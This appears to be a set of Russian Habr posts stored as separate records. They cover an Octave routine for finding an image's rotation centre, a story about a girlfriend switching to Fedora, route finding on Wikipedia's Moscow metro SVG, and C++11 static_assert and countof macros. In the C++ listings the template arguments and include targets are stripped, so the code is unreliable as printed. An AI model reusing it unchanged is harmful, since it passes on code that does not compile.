%printf("Image %d: too much bad data\n", i);
%continue;
%endif
%X0 = X0(idx); X1 = X1(idx);Y0 = Y0(idx); Y1 = Y1(idx);
% получаем матрицу геометрического преобразования
A = [X1;Y1;ones(size(X1))]/[X0;Y0;ones(size(X1))];
% вычисляем примерные координаты центра
CRDS = (eye(2)-A(1:2,1:2)) \ A(1:2,3);
Xc = [Xc CRDS(1)]; Yc = [Yc CRDS(2)]; % накапливаем центры
endfor
endfor
Xmed = median(Xc)
Ymed = median(Yc)
endfunction
```
То же самое, но методом McKein сотоварищи:
```
function [Xc Yc] = matr_center_notmine(X, Y)
%
% [Xc Yc] = matr_center(X, Y)
% Вычисляет координаты центра кадра, исходя из матричных операций
% Вход:
% X, Y - массивы с координатами пятен (из функции get_centers)
% Выход:
% Xc, Yc - массив центров кадров
%
Xc = []; Yc = [];
imax = size(X,2);
for i = 1:imax-1
for j = i+1:imax
% выделяем координаты объектов
X0 = X(:,i)';
X1 = X(:,j)';
Y0 = Y(:,i)';
Y1 = Y(:,j)';
% получаем примерный угол поворота изображения (вектора - от центра тяжести)
vec0X = X0 - mean(X0); vec0Y = Y0 - mean(Y0);
vec1X = X1 - mean(X1); vec1Y = Y1 - mean(Y1);
phi0 = atan2(vec0Y, vec0X); phi1 = atan2(vec1Y, vec1X);
% прибавляем к отрицательным 2пи, чтобы избежать переходов -pi+a -> pi-b
phi0(find(phi0<0)) += 2*pi; phi1(find(phi1<0)) += 2*pi;
dphi = median(phi1 - phi0); % медианный угол поворота изображения
R = [cos(dphi) -sin(dphi); sin(dphi) cos(dphi)]; % матрица поворота
% Получаем вектор v
v = median(R * [X0; Y0] - [X1; Y1], 2);
% вычисляем примерные координаты центра
CRDS = (eye(2)-R) \ v;
%printf("Center: (%g, %g)\n", CRDS(1), CRDS(2));
Xc = [Xc -CRDS(1)]; Yc = [Yc -CRDS(2)]; % накапливаем центры
endfor
endfor
Xmed = median(Xc)
Ymed = median(Yc)
endfunction
``` | https://habr.com/ru/post/134352/ | null | ru | null |
# Хочу эту красивую штуку
Привет Хабр. Давно собирался написать эту статью и не то чтобы не доходили руки — просто сомневался в том, что здесь для нее подходящее место. К IT она имеет весьма косвенное отношение, скорее это жизненная история. История о том, как моя девушка стала уверенным пользователем linux. Дабы увеличить ценность материала, постараюсь сконцентрировать внимание на основных подводных камнях при переходе рядового юзера (aka домохозяйка) на линь.
*При написании данной статьи ни одного дистрибутива не пострадало*
##### Предыстория
Продолжительное время промучившись с предустановленной виндой на ноуте (время от времени пользуясь моим компом с Debian), девушка произнесла сакраментальную фразу, давшую название статье: «Хочу эту красивую штуку». Ну что же — не вопрос.
##### Выбираем дистрибутив
Тут в принципе большой разницы нет, так как настройку все равно мне выполнять. Но в конечном счете остановился на Федоре- на тот момент актуальной версией была 14. Думал насчет Kubuntu — но меня категорически не устраивает ее стабильность работы. Лучше уж побыть `[lorMode]бесплатным тестером RedHat[/lorMode]`. После установки возникли небольшие проблемы с иксами — они ни в какую не хотели определить возможности монитора, так что пришлось по старинке вручную писать в xorg.conf (благо готовый вариант для ее моника нашелся на одном гентушном форуме)
##### O\_o я его выбираю, а он не выбирается, а открывается
###### Dolphin
Нет, ну конечно можно было настроить работу мыши в windows-style (2х кликовая модель), но, по моему глубокому убеждению, это моветон. В итоге после пары дней работы все встало на свои места и проклятия в мой адрес перестали раздаваться. Как я и ожидал, первое время ей была непривычна структура файловой системы- но это также оказалось временным явлением. В итоге работа с домашней папкой признана более удобной чем в Win, хотя для справедливости стоит отметить, что нормально организовать структуру домашки и там никто не мешает (разве что лень юзера, помноженная на возможность записи куда ни попадя). Многие другие фишки, которые я показывал — были восприняты без энтузиазма (ввиду ненадобности)
**Плюсы:** Dolphin объективно удобнее Эксплорера
**Минусы:** Первое время все это очень непривычно, а ведь далеко не у каждого юзера под рукой терпеливый и внимательный 24/7 саппорт (в лице меня)
##### А как же мой квииип !?
###### Аська, скайп, почта
K православному Kopete она привыкла быстро — аська она и в африке аська. Было оценено отсутствие навязываения невнятных сервисов, простой и настраиваемый интерфейс. Вдобавок, оказалось, что туда уже запилили ~~фигню для 13летних девочек~~ X-статусы, ну да если хочет — пусть пользуется, мне то что.Скайп на 64 битную систему не без плясок, но встал. Надя, крайне расстроилась, что не получится с подружками в игры через него порубиться (требуется версия 3.0 и выше). Kmail был признан удобным, хотя ее раздражало дефолтное ограничение безопасности на Html в письмах — пришлось отключить.
**Плюсы:** Почтовый клиент и мессенджер порадовали как возможностями, так и бесплатностью наряду с отсутствием какой бы то ни было рекламы.
**Минусы:** Линуховый скайп заметно по функциональности не дотягивает до своего Вынь-побратима
##### Красивые штуки
###### Оформление и эффекты
*De gustibus non disputandum est*, так что тут я предоставил ей свободу творчества. В итоге получился слегка аляповатый, но в целом приятный (и главное нравящийся ей интерфейс). Наде крайне понравилась централизованная загрузка элементов оформления, без необходимости рыскать по интернету, качая непонятные архивы со всяких файлопомоек. С эффектами я слегка помог, вместе попробовали разные- выбрали необходимое, не только красивое но и повышающее комфорт работы. Из плазмоидов пока остановились только на CWP и микроблоггинге — остальное ей не показалось нужным.
**Плюсы:** Сплошь и рядом.
**Минусы:** Плазмоидов со всякими девичьими радостями (всякие тестики, календари месячных, календари для расчета приема противозачаточных), выявлено *чуть менее чем ни одного*. Просьба не смеяться — но серьезно, это весьма постыдный пробел раз уж мы говорим о дистрибутивах linux как об ОС для домашнего компьютера.
##### По мелочи
В принципе более не на чем заострить внимание. Некоторые вещи показались более удобными, некоторые наоборот. Из позитива отмечу Amarok и Okular. А вот Ktorrent, почему-то, не понравился, хотя им она пользуется очень редко. Про браузер даже и писать нечего, как винде пользовалась Firefox'ом так и в Федоре.
##### К чему я об этом
Ввиду бытующих рассуждений о возможности использование Linux сферической домохозяйкой в вакууме, я привел свой успешный эксперимент. С момента установки прошло уже почти полгода — полет нормальный. Мой ответ — да, конечно можно пересадить, но крайне желательно, чтобы рядом был человек, который может все настроить, объяснить и показать.
В общем на Линь девушку пересадил, теперь и жениться можно) Кроме шуток кстати, 9го июля у нас свадьба.
P.S. Итт приветствуются свои примеры подобных историй. | https://habr.com/ru/post/119755/ | null | ru | null |
# Добавление расчёта пути к схеме метро Москвы из Википедии
В процессе создания своей [схемы метро](https://habr.com/ru/post/556018) я использовал *SVG*-схему из [статьи](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D1%81%D0%BA%D0%BE%D0%B2%D1%81%D0%BA%D0%B8%D0%B9_%D0%BC%D0%B5%D1%82%D1%80%D0%BE%D0%BF%D0%BE%D0%BB%D0%B8%D1%82%D0%B5%D0%BD) Википедии как визуальный образец. После добавления возможности расчёта и вывода пути к своей схеме стал думать о том, как использовать алгоритм поиска по графу и для других подобных схем. И решил недавно попробовать адаптировать его для [схемы метро](https://upload.wikimedia.org/wikipedia/commons/d/d6/Moscow_metro_ring_railway_map_ru_sb_future.svg) из Википедии.
Для этого решил адаптировать не алгоритм к схеме, а схему к алгоритму. Поскольку алгоритм *BFS* использует перебор массивов станций, координат линий и пересадок, то нужно было распарсить схему из Википедии в массивы: для этого я написал различные варианты *CSS*-селекторов.
Приведу сложности, возникшие при разборе схемы, в виде списка:
* Координаты станций в схеме заданы в атрибутах *x*, *y* и в *transform* атрибуте *в translate.* При этом *translate* может повторяться и сочетаться с командами *rotate* и *scale.* Например, для пересадочной станции *"Октябрьская" transform* выглядит так `translate(688,583)rotate(103.1558)translate(260)rotate(-103.1558)`. То есть для получения абсолютных координат объекта станции (тег *use*) нужно последовательно сместить и повернуть координаты дважды. Пробуя разные варианты, я оформил их в две функции *topoints* и *trpoint* для парсинга и вычисления координаты отдельно.
* Список полученных станций нужно было отсортировать в последовательности их нахождения на линиях для правильного прохода по ним алгоритмом поиска пути. Для этого массив станций пересортировал и добавил в него станции для замыкания колец: радиального, БКЛ и МЦК. В БКЛ также добавил станции, отсутствующие на схеме, которые перекрывает Некрасовская линия.
* Массив с координатами станций с внешними пересадками на МЦК, Монорельс и Некрасовскую линию составил вручную, поскольку на схеме они никак не выделены, а их координаты не всегда точно совпадают с началом и концом маршрута пересадки, по которому их можно вычислить. Поскольку их всего 24, список забил вручную, считывания станции по *id*.
* Координаты линий на схеме заданы в самых разных вариантах, используя абсолютные и относительные команды *L, l, Q, q* и укороченные команды с одной координатой *H, h, V, v*. Для составления списка линий (тег *path*) нужно было получить абсолютные координаты точек линий. Задача непростая. Попробовал использовать разные библиотеки с *GitHub* для вычисления абсолютных координат объектов *SVG.* В итоге остановилcя на проекте [fontello/svgpath](https://github.com/fontello/fontello) и включил библиотеку в код. Метод *SvgPath().abs()* возвращает массив *segments*, содержащий точки с абсолютными координатами, например, было `M 700,936 H 501 q -14,0 -24,10 L 221,1202` и стало `[["M",700,936],["L",501,936],["Q",487,936,477,946],["L",221,1202]]]`. Такой массив удобен для поиска точек пути.
* Отрисовка найденного пути с учётом изгибов и направления движения. Линии на схеме не всегда отрисованы последовательно, например, Филёвская и БКЛ линии имеют ответвления в сторону станции *"Деловой центр"* и найденный маршрут разрывался в этом месте*.* Плавные изгибы найденного пути неправильно замыкались из-за смены местами начала и конца отрезка перед началом дуги *Q* или *A* при отрисовке пути снизу вверх или сверху вниз, например, маршрут *"Чертановская"* - *"Кантемировская"* и *"Кантемировская" - "Чертановская"* oдинаковый, но рисуется по-разному. Чтобы убрать отличия создал списки *blacklist* и *replacelist* для удаления лишних и замены неправильных точек пути.
Для навигации по схеме: перемещение, увеличение, уменьшение, - использую свою библиотеку [dbcartajs](https://github.com/egaxegax/dbcartajs). В целом задача оказалась сложнее, чем себе её представлял, но не хотел бросать наработки и постарался доделать до приемлемого вида.
Управление: Выделяются станции по клику, сбрасывается маршрут по двойному клику. Пересадки управляются списком в правом верхнем углу.
Плюсы этой схемы:
* Не нужно дорисовывать схему самому после открытия новых линий и станций. Это делают авторы Википедии. А моём примере будет грузиться уже новая схема.
Недоделки в этой схеме:
* Нет проверки прохода по строящимся станциям. Например, маршрут *"Чертановская"* - *"Кантемировская"* построится через строящуюся *"Варшавскую"*, а должен через кольцевую *"Серпуховскую"*. Или от *"Делового центра"* до *"Таганской"* путь пройдёт по несуществующим станциям *"Волхонка"* и *"Плющиха"*. Планирую потом доработать алгоритм.
* Код примера получился довольно громоздким с большим количеством "ручных" вставок: выравнивание путей с помощью заполнения списокв координат *blacklist* и *replacelist,* пересортировка списка станций после парсинга. После изменения схемы процесс нужно будет повторить.
В целом, кого интересует тема с *SVG* и парсингом можете протестировать ещё один поиск по [схеме метро](https://egaxegax.github.io/dbcartajs/svg/mosmetro2.html) Москвы. Неплохо работает и на смартфоне. | https://habr.com/ru/post/689966/ | null | ru | null |
# Как я стандартную библиотеку C++11 писал или почему boost такой страшный. Глава 2
 ### Краткое содержание предыдущих частей
Из-за ограничений на возможность использовать компиляторы C++ 11 и от безальтернативности boost'у возникло желание написать свою реализацию стандартной библиотеки C++ 11 поверх поставляемой с компилятором библиотеки C++ 98 / C++ 03.
Помимо стандартных заголовочных файлов **type\_traits**, **thread**, **mutex**, **chrono** так же были добавлены **nullptr.h** реализующий *std::nullptr\_t* и **core.h** куда были вынесены макросы, относящиеся к компиляторозависимому функционалу, а так же расширяющие стандартную библиотеку.
Ссылка на GitHub с результатом на сегодня для нетерпеливых и нечитателей:
> **[Коммиты и конструктивная критика приветствуются](https://github.com/oktonion/stdex)**
#### Оглавление
[Введение](https://habr.com/post/417027/)
[Глава 1. Viam supervadet vadens](https://habr.com/post/417027/)
**Глава 2. #ifndef \_\_CPP11\_SUPPORT\_\_ #define \_\_COMPILER\_SPECIFIC\_BUILT\_IN\_AND\_MACRO\_HELL\_\_ #endif**
[Глава 3. Поиск идеальной реализации nullptr](https://habr.com/post/417295/)
[Глава 4. Шаблонная «магия» C++](https://habr.com/post/417547/)
....[4.1 Начинаем с малого](https://habr.com/post/417547/)
....[4.2 О сколько нам ошибок чудных готовит компиляций лог](https://habr.com/post/417949/)
....[4.3 Указатели и все-все-все](https://habr.com/post/418347/)
....[4.4 Что же еще нужно для шаблонной библиотеки](https://habr.com/post/420365/)
Глава 5.
…
### Глава 2. #ifndef \_\_CPP11\_SUPPORT\_\_ #define \_\_COMPILER\_SPECIFIC\_BUILT\_IN\_AND\_MACRO\_HELL\_\_ #endif
После того как весь код был немного причесан и разделен по «стандартным» заголовкам в отдельный **namespace stdex** я приступил к наполнению **type\_traits**, **nullptr.h** и попутно того самого **core.h**, в котором содержались макросы для определения версии стандарта, используемого компилятором и поддержки им «нативных» **nullptr**, **char16\_t**, **char32\_t** и **static\_assert**.
В теории все просто — согласно стандарту C++ [(п.14.8)](http://eel.is/c++draft/cpp#predefined-1) макрос **\_\_cplusplus** должен быть определен компилятором и соответствовать версии поддерживаемого стандарта:
```
C++ pre-C++98: #define __cplusplus 1
C++98: #define __cplusplus 199711L
C++98 + TR1: #define __cplusplus 199711L // ???
C++11: #define __cplusplus 201103L
C++14: #define __cplusplus 201402L
C++17: #define __cplusplus 201703L
```
соответственно код для определения наличия поддержки тривиален:
```
#if (__cplusplus >= 201103L) // стандарт C++ 11 или выше
#define _STDEX_NATIVE_CPP11_SUPPORT // есть поддержка 11 стандарта (nullptr, static_assert)
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT // есть встроенные типы char16_t, char32_t
#endif
```
 На деле не все так просто и теперь начинаются интересные костыли с граблями.
Во-первых не все, а точнее сказать ни один, из компиляторов не реализуют очередной стандарт полностью и сразу. К примеру в Visual Studio 2013 отсутствовал **constexpr** очень долгое время, при этом утверждалось что C++11 она поддерживает — с оговорочкой, что реализация не полная. То есть **auto** — пожалуйста, **static\_assert** — так же легко (еще с более ранних MS VS), а вот **constexpr** — [нет](https://msdn.microsoft.com/en-us/library/hh567368.aspx). Во-вторых не все компиляторы (и это удивляет еще больше) верно выставляют данный define и своевременно его обновляют. Неожиданно в том же самом компиляторе Visual Studio [не изменяли версию дефайна](https://developercommunity.visualstudio.com/content/problem/120156/-cplusplus-macro-still-defined-as-pre-c11-value.html) **\_\_cplusplus** аж с самых первых версий компилятора, хотя давно уже заявлена полная поддержка C++ 11 (что тоже не правда, за что им отдельные лучи недовольства — как только разговор заходит о конкретной функциональности «нового» 11 стандарта разработчики сразу же говорят что нет C99 preprocessor, еще других «фич»). И ситуация еще усугубляется тем, что по стандарту компиляторам разрешено выставлять данный define в отличные от приведенных выше значений, если они не до конца соответствуют заявленным стандартам. Логично было бы предположить к примеру такое развитие дефайнов для данного макроса (с вводом нового функционала увеличивать и число, скрывающееся за данным define):
```
standart C++98: #define __cplusplus 199711L // C++98
standart C++98 + TR1: #define __cplusplus 200311L // C++03
nonstandart C++11: #define __cplusplus 200411L // C++03 + auto and dectype
nonstandart C++11: #define __cplusplus 200511L // C++03 + auto, dectype and constexpr(partly)
...
standart C++11: #define __cplusplus 201103L // C++11
```
Но при этом из основных популярных компиляторов никто не «запаривается» с данной возможностью.
Из-за всего этого (не побоюсь этого слова) бардака теперь для каждого нестандартного компилятора приходится писать свои специфичные проверки с целью узнать какой стандарт C++ и в каком объеме он поддерживает. Хорошая новость в том что нам нужно узнать о всего лишь несколько функциях компилятора для корректной работы. Во-первых теперь мы добавляем проверку версии для Visual Studio через уникальный для этого компилятора макрос **\_MSC\_VER**. Так как в моем арсенале поддерживаемых компиляторов есть еще и C++ Borland Builder 6.0, разработчики которого в свою очередь очень стремились сохранить совместимость с Visual Studio (в том числе и с ее «особенностями» и багами), то там тоже внезапно есть данный макрос. Для clang-совместимых компиляторов имеется нестандартный макрос **\_\_has\_feature(**feature\_name**)**, который позволяет узнать о наличии поддержки компилятором той или иной функциональности. В итоге код раздувается до:
```
#ifndef __has_feature
#define __has_feature(x) 0 // Compatibility with non-clang compilers.
#endif
// Any compiler claiming C++11 supports, Visual C++ 2015 and Clang version supporting constexpr
#if ((__cplusplus >= 201103L) || (_MSC_VER >= 1900) || (__has_feature(cxx_constexpr))) // C++ 11 implementation
#define _STDEX_NATIVE_CPP11_SUPPORT
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
```
Хочется охватить больше компиляторов? Добавляем проверки для Codegear C++ Builder, который является наследником Borland (в самых худших его проявлениях, но об этом позже):
```
#ifndef __has_feature
#define __has_feature(x) 0 // Compatibility with non-clang compilers.
#endif
// Any compiler claiming C++11 supports, Visual C++ 2015 and Clang version supporting constexpr
#if ((__cplusplus >= 201103L) || (_MSC_VER >= 1900) || (__has_feature(cxx_constexpr))) // C++ 11 implementation
#define _STDEX_NATIVE_CPP11_SUPPORT
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#if !defined(_STDEX_NATIVE_CPP11_TYPES_SUPPORT)
#if ((__cplusplus > 199711L) || defined(__CODEGEARC__))
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#endif
```
Стоит так же отметить, что так как в Visual Studio уже реализована поддержка **nullptr** с версии компилятора **\_MSC\_VER 1600**, так же как и встроенных типов **char16\_t** и **char32\_t**, то нам необходимо это корректно обработать. Еще немного проверок добавлено:
```
#ifndef __has_feature
#define __has_feature(x) 0 // Compatibility with non-clang compilers.
#endif
// Any compiler claiming C++11 supports, Visual C++ 2015 and Clang version supporting constexpr
#if ((__cplusplus >= 201103L) || (_MSC_VER >= 1900) || (__has_feature(cxx_constexpr))) // C++ 11 implementation
#define _STDEX_NATIVE_CPP11_SUPPORT
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#if !defined(_STDEX_NATIVE_CPP11_TYPES_SUPPORT)
#if ((__cplusplus > 199711L) || defined(__CODEGEARC__))
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#endif
#if ((!defined(_MSC_VER) || _MSC_VER < 1600) && !defined(_STDEX_NATIVE_CPP11_SUPPORT))
#define _STDEX_IMPLEMENTS_NULLPTR_SUPPORT
#else
#define _STDEX_NATIVE_NULLPTR_SUPPORT
#endif
#if (_MSC_VER >= 1600)
#ifndef _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#endif
```
Заодно мы еще проверим на поддержку C++ 98, так как для компиляторов без нее не будет существовать некоторых заголовочных файлов стандартной библиотеки, а проверить отсутствие оных мы никак не можем средствами компилятора.
**Полный вариант**
```
#ifndef __has_feature
#define __has_feature(x) 0 // Compatibility with non-clang compilers.
#endif
// Any compiler claiming C++11 supports, Visual C++ 2015 and Clang version supporting constexpr
#if ((__cplusplus >= 201103L) || (_MSC_VER >= 1900) || (__has_feature(cxx_constexpr))) // C++ 11 implementation
#define _STDEX_NATIVE_CPP11_SUPPORT
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#if !defined(_STDEX_NATIVE_CPP11_TYPES_SUPPORT)
#if ((__cplusplus > 199711L) || defined(__CODEGEARC__))
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#endif
#if ((!defined(_MSC_VER) || _MSC_VER < 1600) && !defined(_STDEX_NATIVE_CPP11_SUPPORT))
#define _STDEX_IMPLEMENTS_NULLPTR_SUPPORT
#else
#define _STDEX_NATIVE_NULLPTR_SUPPORT
#endif
#if (_MSC_VER >= 1600)
#ifndef _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#define _STDEX_NATIVE_CPP11_TYPES_SUPPORT
#endif
#endif
#if _MSC_VER // Visual C++ fallback
#define _STDEX_NATIVE_MICROSOFT_COMPILER_EXTENSIONS_SUPPORT
#define _STDEX_CDECL __cdecl
#if (__cplusplus >= 199711L)
#define _STDEX_NATIVE_CPP_98_SUPPORT
#endif
#endif
// C++ 98 check:
#if ((__cplusplus >= 199711L) && ((defined(__INTEL_COMPILER) || defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 4) || (__GNUC__ == 4 && __GNUC_MINOR__ >= 4))))))
#ifndef _STDEX_NATIVE_CPP_98_SUPPORT
#define _STDEX_NATIVE_CPP_98_SUPPORT
#endif
#endif
```
И вот уже во всю начинают возникать в памяти объемные конфиги из boost в которых множество трудолюбивых разработчиков выписывали все эти компиляторозависимые макросы и из них составляли карту того, что поддерживается, а что нет конкретным компилятором конкретной версии, от которых мне лично становится не по себе, хочется никогда на это не смотреть и не трогать больше. Но хорошая новость в том, что на этом можно остановиться. По крайней мере мне этого достаточно для поддержки большинства популярных компиляторов, но если вы нашли неточность или хотите добавить еще один компилятор — я буду только рад принять pull request.
Большим достижением по сравнению с boost я считаю то, что удалось сдержать расползание компиляторозависимых макросов по коду, что делает код чище и проще для понимания, а так же не нагромождать десятки конфигурационных файлов для каждой из ОС и для каждого компилятора. О недостатках данного подхода мы поговорим чуть позже.
На данном этапе мы уже можем начать подключать недостающую функциональность из 11 стандарта, и первое что мы введем это **static\_assert**.
### static\_assert
Определим структуру *StaticAssertion*, которая будет принимать шаблонным параметром булевское значение — там будет наше условие, при невыполнении которого (выражение приводится к **false**) произойдет ошибка компиляции неспециализированного шаблона. И еще одну структуру-пустышку для приема **sizeof(***StaticAssertion***)**.
```
namespace stdex
{
namespace detail {
template
struct StaticAssertion;
template <>
struct StaticAssertion
{
}; // StaticAssertion
template
struct StaticAssertionTest
{
}; // StaticAssertionTest
}
}
```
и далее магия макросов
```
#ifdef _STDEX_NATIVE_CPP11_SUPPORT
#define STATIC_ASSERT(expression, message) static_assert((expression), #message)
#else // no C++11 support
#define CONCATENATE(arg1, arg2) CONCATENATE1(arg1, arg2)
#define CONCATENATE1(arg1, arg2) CONCATENATE2(arg1, arg2)
#define CONCATENATE2(arg1, arg2) arg1##arg2
#define STATIC_ASSERT(expression, message)\
struct CONCATENATE(__static_assertion_at_line_, __LINE__)\
{\
stdex::detail::StaticAssertion((expression))> CONCATENATE(CONCATENATE(CONCATENATE(STATIC\_ASSERTION\_FAILED\_AT\_LINE\_, \_\_LINE\_\_), \_WITH\_\_), message);\
};\
typedef stdex::detail::StaticAssertionTest CONCATENATE(\_\_static\_assertion\_test\_at\_line\_, \_\_LINE\_\_)
#ifndef \_STDEX\_NATIVE\_NULLPTR\_SUPPORT
#define static\_assert(expression, message) STATIC\_ASSERT(expression, ERROR\_MESSAGE\_STRING)
#endif
#endif
```
использование:
```
STATIC_ASSERT(sizeof(void*) == 4, non_x32_platform_is_unsupported);
```
> Важное отличие моей реализации от [стандартной](http://eel.is/c++draft/dcl.dcl#:static_assert) в том что отсутствует перегрузка данного ключевого слова без сообщения пользователю. Это связанно с тем что в C++ невозможно определить несколько дефайнов с разным количеством аргументов но одним именем, а реализация без сообщения намного менее полезна чем выбранный вариант. Эта особенность приводит к тому что по сути **STATIC\_ASSERT** в моей реализации это версия, добавленная уже в C++ 11.
Разберемся по порядку что же произошло. В результате проверок версий **\_\_cplusplus** и нестандартных макросов компиляторов мы имеем информацию о поддержке C++ 11 в достаточном нам объеме (а значит и **static\_assert**), выраженную дефайном **\_STDEX\_NATIVE\_CPP11\_SUPPORT**. Следовательно если этот макрос определен мы можем просто использовать стандартный **static\_assert**:
```
#ifdef _STDEX_NATIVE_CPP11_SUPPORT
#define STATIC_ASSERT(expression, message) static_assert((expression), #message)
```
> Обратите внимание что второй параметр макроса **STATIC\_ASSERT** совсем не **string literal** и потому с помощью оператора препроцессора **#** мы преобразуем параметр *message* в строку для передачи в стандартный **static\_assert**.
Если же поддержки от компилятора у нас нет, то переходим к своей реализации. Для начала объявим вспомогательные макросы для «склеивания» строк (оператор препроцессора **##** как раз отвечает за это).
```
#define CONCATENATE(arg1, arg2) CONCATENATE1(arg1, arg2)
#define CONCATENATE1(arg1, arg2) CONCATENATE2(arg1, arg2)
#define CONCATENATE2(arg1, arg2) arg1##arg2
```
> Я специально не использовал просто **#define CONCATENATE(***arg1*, *arg2* **)** *arg1##arg2* для того чтобы иметь возможность передавать внутрь макроса как параметр *arg1* и *arg2* результат того же самого макроса **CONCATENATE**.
Далее объявляем структуру с красивым именем \_\_static\_assertion\_at\_line\_{№ строки} (макрос **\_\_LINE\_\_** так же определен стандартом и должен раскрываться в номер строки на которой он был вызван), а внутри этой структуры добавляем поле нашего типа *StaticAssertion* с именем STATIC\_ASSERTION\_FAILED\_AT\_LINE\_{№ строки}\_WITH\_\_{текст сообщения ошибки от вызывающего макрос}.
```
#define STATIC_ASSERT(expression, message)\
struct CONCATENATE(__static_assertion_at_line_, __LINE__)\
{\
stdex::detail::StaticAssertion((expression))> CONCATENATE(CONCATENATE(CONCATENATE(STATIC\_ASSERTION\_FAILED\_AT\_LINE\_, \_\_LINE\_\_), \_WITH\_\_), message);\
};\
typedef stdex::detail::StaticAssertionTest CONCATENATE(\_\_static\_assertion\_test\_at\_line\_, \_\_LINE\_\_)
```
Шаблонным параметром в *StaticAssertion* передадим выражение, которое проверяется в **STATIC\_ASSERT**, приведя его к **bool**. И в завершение для того чтобы избежать создания локальных переменных и осуществить zero-overhead проверку пользовательского условия объявляется псевдоним для типа *StaticAssertionTest с именем \_\_static\_assertion\_test\_at\_line\_{№ строки}.
Вся красота с именованиями нужна лишь для того чтобы из ошибки компиляции было понятно что это результат assert, а не просто ошибка, а так же чтобы вывести сообщение об ошибке, которое было заданно для этого assert. Трюк с **sizeof** необходим чтобы заставить компилятор инстанцировать шаблонный класс *StaticAssertion*, находящийся внутри только что объявленной структуры, и таким образом проверить переданное в assert условие.
**Результаты выдачи STATIC\_ASSERT**
> GCC:
>
> 30:103: error: field 'STATIC\_ASSERTION\_FAILED\_AT\_LINE\_36\_WITH\_\_non\_x32\_platform\_is\_unsupported' has incomplete type 'stdex::detail::StaticAssertion'
>
> 25:36: note: in definition of macro 'CONCATENATE2'
>
> 23:36: note: in expansion of macro 'CONCATENATE1'
>
> 30:67: note: in expansion of macro 'CONCATENATE'
>
> 24:36: note: in expansion of macro 'CONCATENATE2'
>
> 23:36: note: in expansion of macro 'CONCATENATE1'
>
> 30:79: note: in expansion of macro 'CONCATENATE'
>
> 24:36: note: in expansion of macro 'CONCATENATE2'
>
> 23:36: note: in expansion of macro 'CONCATENATE1'
>
> 30:91: note: in expansion of macro 'CONCATENATE'
>
> 36:3: note: in expansion of macro 'STATIC\_ASSERT'
>
>
>
> Borland C++ Builder:
>
> [C++ Error] stdex\_test.cpp(36): E2450 Undefined structure 'stdex::detail::StaticAssertion<0>'
>
> [C++ Error] stdex\_test.cpp(36): E2449 Size of 'STATIC\_ASSERTION\_FAILED\_AT\_LINE\_36\_WITH\_\_non\_x32\_platform\_is\_unsupported' is unknown or zero
>
> [C++ Error] stdex\_test.cpp(36): E2450 Undefined structure 'stdex::detail::StaticAssertion<0>'
>
>
>
> Visual Studio:
>
> Error C2079 'main::\_\_static\_assertion\_at\_line\_36::STATIC\_ASSERTION\_FAILED\_AT\_LINE\_36\_WITH\_\_non\_x32\_platform\_is\_unsupported' uses undefined struct 'stdex::detail::StaticAssertion<\_\_formal>' stdex\_test c:\users\user\documents\visual studio 2015\projects\stdex\_test\stdex\_test\stdex\_test.cpp 36
Вторая «фишка», которую хотелось иметь, при этом отсутствующая в стандарте это **countof** — подсчет количества элементов в массиве. Сишники очень любят данный макрос объявлять через sizeof(arr) / sizeof(arr[0]), но мы пойдем дальше.
### countof
```
#ifdef _STDEX_NATIVE_CPP11_SUPPORT
#include
namespace stdex
{
namespace detail
{
template
constexpr std::size\_t \_my\_countof(T const (&)[N]) noexcept
{
return N;
}
} // namespace detail
}
#define countof(arr) stdex::detail::\_my\_countof(arr)
#else //no C++11 support
#ifdef \_STDEX\_NATIVE\_MICROSOFT\_COMPILER\_EXTENSIONS\_SUPPORT // Visual C++ fallback
#include
#define countof(arr) \_countof(arr)
#elif defined(\_STDEX\_NATIVE\_CPP\_98\_SUPPORT)// C++ 98 trick
#include
template
char(&COUNTOF\_REQUIRES\_ARRAY\_ARGUMENT(T(&)[N]))[N];
#define countof(x) sizeof(COUNTOF\_REQUIRES\_ARRAY\_ARGUMENT(x))
#else
#define countof(arr) sizeof(arr) / sizeof(arr[0])
#endif
```
Для компиляторов с поддержкой **constexpr** объявим constexpr-версию данного шаблона (что совершенно не обязательно, на самом деле для всех стандартов достаточно реализации через шаблон *COUNTOF\_REQUIRES\_ARRAY\_ARGUMENT*), для остальных же введем версию через шаблонную функцию *COUNTOF\_REQUIRES\_ARRAY\_ARGUMENT*. Visual Studio здесь снова отличилась наличием собственной реализации **\_countof** в заголовочном файле **stdlib.h**.
Функция *COUNTOF\_REQUIRES\_ARRAY\_ARGUMENT* выглядит устрашающе и разобраться в том что она делает довольно непросто. Если присмотреться, то можно понять что она принимает на вход единственным аргументом массив элементов шаблонного типа *T* и размера *N* — таким образом в случае передачи других типов элементов (не массивов) мы получим ошибку компиляции, что несомненно радует. Присмотревшись еще внимательней можно разобраться (с трудом) что возвращает она массив элементов **char** размера *N*. Спрашивается зачем нам это все? Здесь вступает в дело оператор **sizeof** и его уникальные возможности работать во время компиляции. Вызов **sizeof(***COUNTOF\_REQUIRES\_ARRAY\_ARGUMENT***)** определяет размер возвращаемого функцией массива элементов **char**, а так как по стандарту **sizeof(char)** == 1, то это и есть количество элементов *N* в исходном массиве. Изящно, красиво, и совершенно бесплатно.
### forever
Еще один небольшой вспомогательный макрос, который я использую везде где необходим бесконечный цикл это **forever**. Определен он так:
```
#if !defined(forever)
#define forever for(;;)
#else
#define STRINGIZE_HELPER(x) #x
#define STRINGIZE(x) STRINGIZE_HELPER(x)
#define WARNING(desc) message(__FILE__ "(" STRINGIZE(__LINE__) ") : warning: " desc)
#pragma WARNING("stdex library - macro 'forever' was previously defined by user; ignoring stdex macro definition")
#undef STRINGIZE_HELPER
#undef STRINGIZE
#undef WARNING
#endif
```
пример синтаксиса для определения явного бесконечного цикла:
```
unsigned int i = 0;
forever
{
++i;
}
```
